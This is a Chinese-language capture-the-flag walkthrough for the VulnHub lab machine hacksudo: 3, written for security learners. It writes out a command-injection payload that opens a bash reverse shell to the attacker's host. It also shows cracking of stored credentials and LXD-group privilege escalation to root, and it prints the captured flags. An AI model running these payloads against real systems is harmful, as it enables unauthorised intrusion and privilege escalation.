**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址:
https://www.vulnhub.com/entry/hacksudo-3,671/
名称: hacksudo系列hacksudo: 3
靶场: VulnHub.com
难度: 简单
发布时间: 2021年3月24日
提示信息: 无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 192.168.7.3
靶机:Vbox linux IP自动获取
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo nmap -sP 192.168.7.1/24
扫描到靶机地址为192.168.7.114
端口扫描
端口扫描是扫描目标机器所开放的服务
sudo nmap -sC -sV -p- 192.168.7.114 -oN hacksudo3.nmap
扫描到3个端口.21(FTP),22(SSH),80(HTTP),这里的21和22端口被过滤了,应该是有防火墙,先看80端口
Web渗透
http://192.168.7.114/
访问首页自动跳转到hidden目录,这是一个有收藏网址功能的站点,没有其他可利用的信息了,那主先做个目录扫描
目录扫描
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.7.114 -x .php,.html,.txt
扫描到info.php页面login.php页面和generator.php逐个访问
info.php
http://192.168.7.114/info.php
是个phpinfo页面
login.php
http://192.168.7.114/login.php
一个登录页面,sqlmap扫描未发现sql注入漏洞
代码执行漏洞
generator.php
http://192.168.7.114/generator.php
页面上的提示是一个名字生成器页面,随便填些内容看看
输入内容会转换成艺术字体(就这么叫吧)这是执行了代码,可能存在代码执行漏洞,验证一下
输入haha&ls果然列出了文件和目录,那我们反弹个shell试试
反弹shell
kali攻击机下监听4444端口
nc -lvvp 4444
输入反弹payload提交
&bash -c 'bash -i >& /dev/tcp/192.168.7.3/4444 0>&1'
反弹成功,先切换到完整的交换shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
stty rows 21 columns 106
切换完成,找一下敏感信息吧
/var/www目录下找到hacksudo文件
cd ..
ls -al
cat hacksudo
rot13与sha-512解密
发现一段加密内容像是rot13加密,去解一下试试
https://icyberchef.com/
hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b
拿到SSH帐号hacksudo密码再去解一下,先识别是什么加密的
https://www.dcode.fr/identification-chiffrement
检测到是sha-512加密,但是这个网站解不出来,科学上网找了一个网站
https://10015.io/tools/sha512-encrypt-decrypt
拿到密码vishal,现在可以登录ssh了
ssh hacksudo@192.168.7.114
饿....忘记22端口有墙挡着,那我们在反弹shell上切换用户
su hacksudo
输入密码vishal
cd ~
ls
cat user.txt
拿到user.txt
d045e6f9feb79e94442213f9d008ac48
再看看如何提权,执行id后发现用户在lxd用户组下
id
LXD提权
简单讲一下原理:
就是用用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权
kali攻击上操作
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
下载好alpine-v3.15-x86_64-20220124_1022.tar.gz后我们开启http服务
python3 -m http.server
靶机操作:
-
下载攻击机上的alpine-v3.15-x86_64-20220124_1022.tar.gz
-
导入镜像并初始化镜像
-
挂载磁盘
-
启动镜像
-
进入镜像访问文件获取root.txt
wget http://192.168.7.3:8000/alpine-v3.15-x86_64-20220124_1022.tar.gz
导入镜像并初始化镜像
lxc image import ./alpine-v3.15-x86_64-20220124_1022.tar.gz --alias test
lxc init test test -c security.privileged=true
报错了,是因为lxd没有初始化
lxd init # 一路回车
初始化镜像
lxc init test test -c security.privileged=true
挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
启动镜像并进入镜像操作文件
lxc start test
lxc exec test /bin/sh
id
cd /mnt/root
ls
cd /root
cat proof.txt
cat root.txt
成功拿到root.txt,游戏结束
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.